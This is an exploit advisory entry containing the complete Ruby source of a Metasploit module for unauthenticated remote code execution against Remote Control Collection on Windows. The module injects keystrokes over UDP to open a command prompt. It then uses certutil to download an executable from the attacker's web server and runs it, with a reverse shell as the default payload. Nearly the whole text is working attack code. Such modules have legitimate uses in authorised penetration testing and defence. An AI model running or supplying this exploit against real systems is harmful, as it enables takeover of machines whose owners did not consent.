Remote Control Collection Remote Code Execution

2022.11.29
Credit: h00die
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Exploit::Remote::Udp include Exploit::EXE # generate_payload_exe include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Remote Control Collection RCE', 'Description' => %q{ This module utilizes the Remote Control Server's, part of the Remote Control Collection by Steppschuh, protocol to deploy a payload and run it from the server. This module will only deploy a payload if the server is set without a password (default). Tested against 3.1.1.12, current at the time of module writing }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'H4rk3nz0' # edb, discovery ], 'References' => [ [ 'URL', 'http://remote-control-collection.com' ], [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py' ] ], 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['default', {}], ], 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp', 'WfsDelay' => 5, 'Autocheck' => false }, 'DisclosureDate' => '2022-09-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS] } ) ) register_options( [ OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1926]), OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]), OptString.new('PATH', [true, 'Where to stage payload for pull method', '%temp%\\']), OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']), ] ) end def path return datastore['PATH'] if datastore['PATH'].end_with? '\\' "#{datastore['PATH']}\\" end def special_key_header "\x7f\x15\x02" end def key_header "\x7f\x15\x01" end def windows_key udp_sock.put("#{special_key_header}\x01\x00\x00\x00\xab") # key up udp_sock.put("#{special_key_header}\x00\x00\x00\x00\xab") # key down sleep(datastore['SLEEP']) end def enter_key udp_sock.put("#{special_key_header}\x01\x00\x00\x00\x42") sleep(datastore['SLEEP']) end def send_command(command) command.each_char do |c| udp_sock.put("#{key_header}#{c}") sleep(datastore['SLEEP'] / 10) end enter_key sleep(datastore['SLEEP']) end def check @check_run = true @check_success = false upload_file return Exploit::CheckCode::Vulnerable if @check_success return Exploit::CheckCode::Safe end def on_request_uri(cli, _req) @check_success = true if @check_run # send a random file p = Rex::Text.rand_text_alphanumeric(rand(8..17)) else p = generate_payload_exe end send_response(cli, p) print_good("Request received, sending #{p.length} bytes") end def upload_file connect_udp # send a space character to skip any screensaver udp_sock.put("#{key_header} ") print_status('Connecting and Sending Windows key') windows_key print_status('Opening command prompt') send_command('cmd.exe') filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) filename << '.exe' unless @check_run if @service_started.nil? print_status('Starting up our web service...') start_service('Path' => '/') @service_started = true end get_file = "certutil.exe -urlcache -f http://#{srvhost_addr}:#{srvport}/ #{path}#{filename}" send_command(get_file) if @check_run.nil? || @check_run == true send_command("del #{path}#{filename} && exit") else register_file_for_cleanup("#{path}#{filename}") print_status('Executing payload') send_command("#{path}#{filename} && exit") end disconnect_udp end def exploit @check_run = false upload_file end end


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